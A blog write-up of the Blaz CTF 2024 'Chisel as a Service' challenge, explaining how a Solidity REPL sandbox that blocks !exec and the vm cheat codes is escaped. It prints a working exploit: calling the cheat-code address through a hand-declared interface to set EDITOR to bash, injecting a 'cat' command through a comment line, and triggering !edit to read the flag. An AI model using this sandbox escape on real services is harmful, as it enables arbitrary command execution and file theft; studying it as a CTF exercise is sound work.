Blaz CTF 2024 - Chisel as a Service


Challenge

Mina just develops a highly robust Solidity sandbox!

import express from "express";
import { $ } from "zx";

const app = express();
const PORT = parseInt(process.env.PORT) || 3000;

app.use(express.static("public"));

app.get("/run", async (req, res) => {
  try {
    const code = String(req.query.code);
    if(/^[\x20-\x7E\r\n]*$/.test(code) === false)
      throw new Error("Invalid characters");
    const commands = code.toLowerCase().match(/![a-z]+/g);
    if (commands !== null && (commands.includes("!exec") || commands.includes("!e")))
      throw new Error("!exec is not allowed");
    const uuid = crypto.randomUUID();
    await $({
      cwd: "public/out",
      timeout: "3s",
      input: code,
    })`chisel --no-vm > ${uuid}`;
    res.send({ uuid });
  } catch(e) {
    console.log(e)
    res.status(500).send("error");
  }
});

app.listen(PORT);

Solve

I did not solve this challenge during the CTF competition because even though I understood the challenge, I didn’t figure out a proper solution to bypass the sandbox restrictions.

It wasn't until minaminao さん released the official solution that I suddenly realized how simple this solution is. 😭

The challenge is quite intuitive. Our target is RCE this service allows us to read the flag.txt. However, there are some restrictions:

  1. Unable to execute shell command in chisel sandbox via !e !exec commands.

  2. Unable to use vm.* cheat codes (which means vm.setEnv() vm.ffi() vm.readFile() are disabled).

We can use the !help command to list all available chisel commands:

➜ !help
βš’οΈ Chisel help
=============
General
    !help | !h - Display all commands
    !quit | !q - Quit Chisel
    !exec <command> [args] | !e <command> [args] - Execute a shell command and print the output

Session
    !clear | !c - Clear current session source
    !source | !so - Display the source code of the current session
    !save [id] | !s [id] - Save the current session to cache
    !load <id> | !l <id> - Load a previous session ID from cache
    !list | !ls - List all cached sessions
    !clearcache | !cc - Clear the chisel cache of all stored sessions
    !export | !ex - Export the current session source to a script file
    !fetch <addr> <name> | !fe <addr> <name> - Fetch the interface of a verified contract on Etherscan
    !edit - Open the current session in an editor

Environment
    !fork <url> | !f <url> - Fork an RPC for the current session. Supply 0 arguments to return to a local network
    !traces | !t - Enable / disable traces for the current session
    !calldata [data] | !cd [data] - Set calldata (`msg.data`) for the current session (appended after function selector). Clears it if no argument provided.

Debug
    !memdump | !md - Dump the raw memory of the current state
    !stackdump | !sd - Dump the raw stack of the current state
    !rawstack <var> | !rs <var> - Display the raw value of a variable's stack allocation. For variables that are > 32 bytes in length, this will display their memory pointer

I found that the !edit command would open my VIM editor. I thought this was the most likely vulnerability. Maybe the final solution was VIM sandbox bypassing exploit or command injection.

From the foundry-rs/foundry repo, we can find that the !edit command attempts to use the $EDITOR environment variable to open /tmp/chisel-tmp.sol. If $EDITOR is not set, the vim command is used to open /tmp/chisel-tmp by default.sol.

let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());

So if we can set the $EDITOR environment variable to shell like bash or zsh, then we can start a shell through the !edit command. But the VM mode is disabled, how could we set the environment variable?

We can find that the difference between adding the --no-vm parameter and not adding this parameter is just whether the REPL contract inherits the Vm contract:

╰─ chisel --no-vm
Welcome to Chisel! Type `!help` to show available commands.
➜ !source
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

contract REPL {
    /// @notice REPL contract entry point
    function run() public {}
}
╰─ chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ !source
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import {Vm} from "forge-std/Vm.sol";

contract REPL {
    Vm internal constant vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));

    /// @notice REPL contract entry point
    function run() public {}
}

On this basis, we check the source code of forge-std/Vm.sol, and we can found that the Vm is just a interface.

interface VmSafe {
    ...
}

interface Vm is VmSafe {
    ...
}

I thnk this means that under the foundry-rs family, address(uint160(uint256(keccak256("hevm cheat code")))) may be set to a whitelist address. When the developer calling address(uint160(uint256(keccak256("hevm cheat code")))) contract under the Foundry environment, it will be treated as cheat code commands, and the Foundry is responsible for processing system-level commands.

We can verify this thought under a local Foundry environment:

╰─ chisel --no-vm
Welcome to Chisel! Type `!help` to show available commands.
➜ interface Vm { function setEnv(string calldata name, string calldata value) external; }
➜ Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
➜ vm.setEnv("EDITOR", "bash");

➜ !source
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

interface Vm {
    function setEnv(string calldata name, string calldata value) external;
}

contract REPL {
    /// @notice REPL contract entry point
    function run() public {
        Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
        vm.setEnv("EDITOR", "bash");
    }
}


➜ !edit
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 1: syntax error near unexpected token `('
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 1: `Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));'
Editor exited with status 2

Wow! we successfully executed the bash command under β€”no-vm!

The next question is "How to successfully execute any shell commands"?

The answer is simple, since we turned the /var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol file from a plaintext file to a shell script file, we just need to make a command injection in the temp file!

//; cat /flag.txt # Must use "//" comment to make chisel REPL console write this line into .sol file

Why we can’t just use vm.setEnv("EDITOR", "cat /flag.txt") to achieve the goal? It’s because when we execute the !edit command, the above code will be converted to cat /flag.txt /var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol, resulting the flag.txt cannot be shown via stdout.

ChiselCommand::Edit => {
    // create a temp file with the content of the run code
    let mut temp_file_path = std::env::temp_dir();
    temp_file_path.push("chisel-tmp.sol");
    let result = std::fs::File::create(&temp_file_path)
        .map(|mut file| file.write_all(self.source().run_code.as_bytes()));
    if let Err(e) = result {
        return DispatchResult::CommandFailed(format!(
            "Could not write to a temporary file: {e}"
        ))
    }

    // open the temp file with the editor
    let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());
    let mut cmd = Command::new(editor);
    cmd.arg(&temp_file_path); // [cat /flag.txt] [/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol]

    // ...
}

Full solution code (in local sandbox):

╰─ chisel --no-vm
Welcome to Chisel! Type `!help` to show available commands.
➜ //; cat /tmp/flag*
➜ interface Vm { function setEnv(string calldata name, string calldata value) external; }
➜ Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
➜ vm.setEnv("EDITOR", "bash");
➜ !edit
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 1: //: Is a directory
whiteberets{u_got_me}
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 2: syntax error near unexpected token `('
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 2: `Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));'
Editor exited with status 2

I think the biggest takeaway from this challenge was understanding how the Foundry family uses Vm.sol to interact with cheating address. πŸ‘


Potential Patches

None, this CTF challenge is just designed for fun.

The best practice is do not using chisel as a service πŸ˜‚.

0
Subscribe to my newsletter

Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

whiteberets[.]eth
whiteberets[.]eth

Please don't OSINT me, I'd be shy. 🫣